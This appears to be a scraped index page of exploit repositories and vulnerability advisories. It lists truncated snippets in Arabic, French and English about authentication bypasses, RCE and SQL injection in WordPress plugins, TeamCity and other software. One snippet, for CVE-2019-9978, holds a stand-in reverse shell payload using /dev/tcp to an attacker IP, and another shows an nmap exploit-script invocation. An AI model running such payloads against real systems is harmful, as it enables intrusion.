CVE-2025-0316-Exploit

CVE-2025-0316-Exploit CVE-2025-0316 حزمة استغلال 🚨 استغلال تجاوز المصادقة لإضافة ووردبريس WP Directorybox Manager 🔥 سكربت استغلال آلي لـ CVE-2025-0316 — تجاوز المصادقة عبر إجراء AJAX ضعيف. ⚠️ إشعار قانوني هذه الأداة مخصصة حصريًا لـ: البحث محاكاة الفريق الأحمر تقييم أمني مصرّح به استخدام هذه الأداة...

CVE-2023-29983

عنوان الثغرة: تخزين النص البرمجي عبر المواقع Google Dork: التاريخ: 27.04.2023 مؤلف الثغرة: Lucas Noki 0xPrototype الصفحة الرئيسية للبائع: https://github.com/vogtmh رابط البرنامج: https://github.com/vogtmh/cmaps الإصدار: 8.0 تم الاختبار على: Mac, Windows, Linux CVE : CVE-2023-29983 الوصف: الثغرة...

CVE-2024-31835

CVE-2024-31835 ثغرة برمجة نصية عبر المواقع Cross Site Scripting في نظام إدارة المحتوى FlatPress CMS الإصدار v1.3 تسمح لمهاجم عن بُعد بتنفيذ تعليمات برمجية عشوائية عبر حمولة مصمّمة في معلمة اسم الملف. المكوّن المتأثر: حقل رفع الملفات في لوحة تحكم FlatPress CMS الإصدار الثابت: Flatpress v1.3 - سيتم...

CVE-2026-8181-PoC

🚨 CVE-2026-8181 | تجاوز المصادقة في إحصائيات Burst -brightgreen.svg?style=for-the-badge !CAUTION تنبيه بالغ الأهمية: تسمح هذه الثغرة لمهاجم عن بُعد غير موثَّق بتجاوز المصادقة والحصول على صلاحيات المسؤول الكاملة على موقع WordPress المستهدف بمجرد حقن رأس HTTP مخصص. يتم حاليًا استغلال CVE هذه بنشاط ...

CVE-2024-27198-POC

CVE-2024-27198 – JetBrains TeamCity: PoC لتجاوز المصادقة وتنفيذ الأوامر عن بُعد RCE المؤلف: EynaExp النطاق: بحث / تحقق دفاعي / اختبار مصرح به فقط نظرة عامة يحتوي هذا المستودع على ماسح جماعي لإثبات المفهوم PoC يستهدف حالات JetBrains TeamCity المتأثرة بـ CVE-2024-27198 ، وهي ثغرة تجاوز مصادقة قد تؤ...

cve-2026-23550-poc

CVE-2026-23550 PoC Un petit testeur Bash pour CVE-2026-23550. Il interroge le point de terminaison de connexion du connecteur modulaire WordPress concerné, vérifie si un cookie wordpressloggedin est émis et tente de confirmer l'accès au tableau de bord d'administration. Avertissement : Utilisez c...

Vehicle-Service-Management-System-Multiple-Privilege-Escalation-Leads-to-CRUD-Operations

CVE-2021-46075 عنوان الاستغلال: نظام إدارة خدمة المركبات - 'تصعيد امتيازات متعدد' يؤدي إلى عمليات CRUD مؤلف الاستغلال: SANU P.L CVE: CVE-2021-46075 CVSS: 7.2 عالي المراجع: https://www.plsanu.com/vehicle-service-management-system-multiple-privilege-escalation-leads-to-crud-operations...

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

CVE-2019-9978 - تنفيذ الأكواد عن بُعد RCE في إضافة Social Warfare لـ WordPress يحتوي هذا المستودع على استغلال Python عملي لـ CVE-2019-9978، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في إضافة Social Warfare لـ WordPress الإصدار system"bash -c \"bash -i & /dev/tcp/ATTACKERIP/LISTENPORT 0&1\""' wi...

cve-2021-21735-zte-zxhn-h168n-admin-compromise

CVE-2021-21735 : Fuite d'informations vers compromission totale de l'administration du ZTE ZXHN H168N Étude de cas technique et article prêt pour GitHub Pages pour CVE-2021-21735 dans le ZTE ZXHN H168N V3.5. Ce dépôt se concentre sur la faille de routage du firmware derrière les points de...

CVE-2023-42793

الاستخدام: احفظه باسم teamcity-admin-creation.nse ثم شغّله: nmap -p 8111 --script teamcity-admin-creation --script-args url=https://target-url...

MantisBT <=2.30 - Arbitrary Password Reset/Admin Access

MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirmhash value to verify.php. id: CVE-2017-7615 THIS TEMPLATE IS ONLY FOR DETECTING To carry out further attacks, please see reference2 below. This template works by guessing user ID. MantisBT...

Palo Alto Expedition - Admin Account Takeover

Missing authentication for a critical function in Palo Alto Networks Expedition can lead to an Expedition admin account takeover for attackers with network access to Expedition. id: CVE-2024-5910 info: name: Palo Alto Expedition - Admin Account Takeover author: johnk3r severity: critical...

CVE-2024-10924

استغلال CVE-2024-10924 - تجاوز المصادقة الثنائية 2FA في إضافة Really Simple SSL لووردبريس نظرة عامة يحتوي هذا المستودع على استغلال لثغرة CVE-2024-10924 ، وهي ثغرة في إضافة Really Simple SSL لووردبريس. تتيح للمهاجم تجاوز عملية إعداد المصادقة الثنائية 2FA والحصول على وصول إداري غير مصرح به إلى موقع...

PT-2026-104657

A vulnerability was identified in kishor-23 food-waste-management-system 411989e3ecb82895e53dca7865f72145f03d7d93/b3a70b2c492dc9904de5be1ad9389bd79b87f82c. This affects an unknown function of the file admin/admin.php of the component Order Assignment Block. The manipulation of the argument order...

PT-2026-104621

A vulnerability was found in Comsenz Discuz! X5.0-20260801/X5.0-20260820/X5.0-20260910. Affected by this issue is the function modmedalsubmit of the file upload/source/app/admin/child/medals/mod.php of the component Admin Medal Moderation. The manipulation of the argument delete results in sql...

PT-2026-104653

A vulnerability was determined in kishor-23 food-waste-management-system 411989e3ecb82895e53dca7865f72145f03d7d93/b3a70b2c492dc9904de5be1ad9389bd79b87f82c. The impacted element is an unknown function of the file admin/donate.php. Executing a manipulation of the argument location can lead to sql...

CVE-2026-105167: Improper Neutralization of Special Elements used in an SQL Command

A vulnerability was determined in kishor-23 food-waste-management-system 411989e3ecb82895e53dca7865f72145f03d7d93/b3a70b2c492dc9904de5be1ad9389bd79b87f82c. The impacted element is an unknown function of the file admin/donate.php. Executing a manipulation of the argument location can lead to sql...

CVE-2026-105126: Improper Privilege Management

LaraDashboard before 1.4.8 contains an improper privilege management vulnerability that allows authenticated Admin users to escalate to Superadmin by editing or renaming roles. Attackers with role.edit can rename their role to Superadmin or grant user.loginas permissions to take over accounts and...

CVE-2026-105146: Improper Neutralization of Special Elements used in an SQL Command

A vulnerability was found in Comsenz Discuz! X5.0-20260801/X5.0-20260820/X5.0-20260910. Affected by this issue is the function modmedalsubmit of the file upload/source/app/admin/child/medals/mod.php of the component Admin Medal Moderation. The manipulation of the argument delete results in sql...

PT-2026-104659

A weakness has been identified in kishor-23 food-waste-management-system 411989e3ecb82895e53dca7865f72145f03d7d93/b3a70b2c492dc9904de5be1ad9389bd79b87f82c. Affected is an unknown function of the file admin/signup.php of the component Admin Signup. This manipulation of the argument sign causes...